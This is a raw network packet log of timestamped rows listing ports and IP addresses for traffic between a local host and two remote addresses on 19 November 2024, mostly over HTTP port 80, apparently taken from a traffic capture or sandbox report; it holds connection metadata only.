Nov 19, 2024 19:14:18.706156015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.706190109 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.706222057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.706289053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.706424952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.706455946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.706487894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.706517935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.706552982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.706552982 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.706775904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.706808090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.706839085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.706926107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.706964970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.706964970 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.707221031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.707307100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.707387924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.707421064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.707453012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.707530022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.707559109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.707571983 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.707590103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.707621098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.707652092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.707674980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.707674980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.707681894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.707709074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.707859039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708039045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708050013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708089113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708111048 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.708111048 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.708180904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708216906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708226919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708259106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708290100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708324909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.708324909 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.708338976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708370924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708404064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708405972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.708427906 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.708707094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708738089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708770037 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.708770037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708841085 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.708851099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708894968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708925009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.708955050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709002972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709009886 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.709011078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.709033966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709064007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709146976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.709332943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709362984 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709393978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709408998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.709443092 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.709485054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709513903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709544897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709660053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709690094 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.709691048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709722042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709753036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709774971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.709774971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.709784031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709814072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709845066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709875107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709906101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709918976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.709952116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.710002899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.710002899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.710002899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.710002899 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.710156918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.710186958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.710252047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.710314989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.710346937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.710438013 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.710464001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.710494995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.710563898 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.740854025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.740890980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.740926027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.740962982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.740977049 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.740997076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.741024971 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.741046906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.741081953 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.741105080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.742032051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.742086887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.742105007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.742120028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.742172956 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.742207050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.742213011 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.742244959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.742296934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.742332935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.742393017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.742403030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.742438078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.742470026 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.742470026 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.742470026 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.742496014 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.742528915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.742563009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.742609978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.742645025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.742679119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.742758036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.742758036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.748207092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.748270035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.748300076 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.748353004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.748358965 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.748358965 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.748383045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.748434067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.748469114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.748473883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.748497009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.748513937 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.748538017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.748549938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.748673916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.749824047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.749880075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.749912977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.749963999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.749994993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.750045061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.750065088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.750065088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.750065088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.750083923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.750118017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.750153065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.750181913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.750235081 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.750235081 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.750725031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.750760078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.750782013 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.750793934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.750859976 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.753406048 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.753438950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.753473997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.753509998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.753518105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.753544092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.753628016 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.829689026 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:18.829804897 CET	49739	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:18.834378958 CET	49739	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:18.834391117 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:18.834631920 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:18.889040947 CET	49739	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:19.000227928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.052386999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.276237965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.276376009 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.309743881 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.314817905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.314846039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.314855099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.314862967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.314872026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.314879894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.314896107 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.314986944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315083027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.315165043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315181017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315190077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315197945 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315206051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315213919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315222025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315236092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315244913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315274954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.315339088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.315339088 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.315802097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315810919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315826893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315834999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315848112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315855980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315870047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315877914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315891027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315898895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315907955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315915108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315922976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.315931082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.316176891 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.316176891 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.316176891 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.316404104 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.316406965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.316416979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.316431999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.316440105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.316447973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.316454887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.316462040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.316469908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.316478014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.316492081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.316499949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.316514969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.316521883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.316529989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.316538095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.316662073 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.316662073 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.316662073 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.316694021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.316809893 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.317004919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317020893 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317050934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317065954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317074060 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317087889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317133904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.317307949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317316055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317322969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317372084 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.317447901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317456961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317471027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317490101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317503929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317512989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317519903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317524910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.317524910 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.317528963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317547083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317554951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317563057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317569971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317573071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.317578077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317586899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317594051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.317648888 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.317648888 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.317802906 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.318439960 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.318450928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.318464994 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.318473101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.318480015 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.318486929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.318495035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.318502903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.318510056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.318523884 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.318531990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.318538904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.318547010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.318582058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.318582058 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.318604946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.318604946 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.319094896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319112062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319125891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319133997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319140911 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319148064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319155931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319163084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319176912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319184065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319192886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319194078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.319202900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319211006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319216967 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.319220066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319228888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319236040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319236040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.319236040 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.319246054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319263935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319284916 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.319777966 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.319968939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319978952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.319993973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.320002079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.320017099 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.320024967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.320113897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.320121050 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.320121050 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.320122004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.320131063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.320144892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.320152998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.320161104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.320167065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.320174932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.320188999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.320195913 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.320195913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:19.320204973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.320213079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:19.320219994 CET	80	49738	185.215.113.16	192.168.2.4
